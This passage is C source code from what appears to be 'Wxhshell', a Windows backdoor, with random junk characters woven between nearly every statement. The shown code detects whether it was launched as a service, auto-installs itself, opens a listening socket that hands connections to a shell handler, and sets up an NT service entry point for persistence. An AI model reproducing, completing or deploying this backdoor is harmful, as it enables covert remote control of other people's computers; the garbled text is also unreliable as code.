XK 1(0LX^% if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TJ9JIxnS I3uS?c CloseHandle(hProcess); dr3#?% 5{cbcuG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <i34;`)b if(hProcess==NULL) return 0; NT?Gl( 7J$ HMODULE hMod; M\zM-B char procName[255]; 5]yQMY\2) unsigned long cbNeeded; v^2q\A-? c6gRXp'ID if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1HYrJb,d :f (UZmV$ CloseHandle(hProcess); xab1`~%K 6J[ {?, if(strstr(procName,"services")) return 1; // 以服务启动 (+}H
ih wi/Fx=w return 0; // 注册表启动 ; V)pXLE } ]pi"M3f_ n'a=@/ // 主模块 JK:i- int StartWxhshell(LPSTR lpCmdLine) Lqy]bnY { ?EF[OyE SOCKET wsl; M]&F1< BOOL val=TRUE; Xy[O int port=0; ) jBPt& struct sockaddr_in door; K?0f)@\nx "<6X=|C if(wscfg.ws_autoins) Install(); {xb8H %>^CD_[eO port=atoi(lpCmdLine); e]-bB#-A 5P~{*of if(port<=0) port=wscfg.ws_port; =Tv;?U C ~/LO @ WSADATA data; :tclYX if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5.!iVyN UMsJg7~ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =`fJ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -_&"Q4FR;+ door.sin_family = AF_INET; 5, door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?K]Cs&E4 door.sin_port = htons(port); 'J(rIH3U $<R\|_6J if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M6J~%qF^ closesocket(wsl); $g? ]9}p return 1; 4D(5WJ& } le1 h:{rjXK
if(listen(wsl,2) == INVALID_SOCKET) { <u>l#weG, closesocket(wsl); {&Kck>C' return 1; i?"
~g!A } ,e\'Y!' Wxhshell(wsl); .$nQD.X WSACleanup(); zzlV((8~ A2 'W return 0; :^~I@)"ov +[386 } 7,0^|P G&qO{" Js // 以NT服务方式启动 .f)&;Af^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [JI>e;l
C: { 1b*Me' DWORD status = 0; j>f DWORD specificError = 0xfffffff; [-}LEH1[p '
lt5| serviceStatus.dwServiceType = SERVICE_WIN32; 2JY]$$K7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ]o}g~Xn serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -1'O serviceStatus.dwWin32ExitCode = 0; =[]V$<G'w{ serviceStatus.dwServiceSpecificExitCode = 0; ^5j+O.zgN serviceStatus.dwCheckPoint = 0; "9W]TG serviceStatus.dwWaitHint = 0; h"h3SD~ FvX< |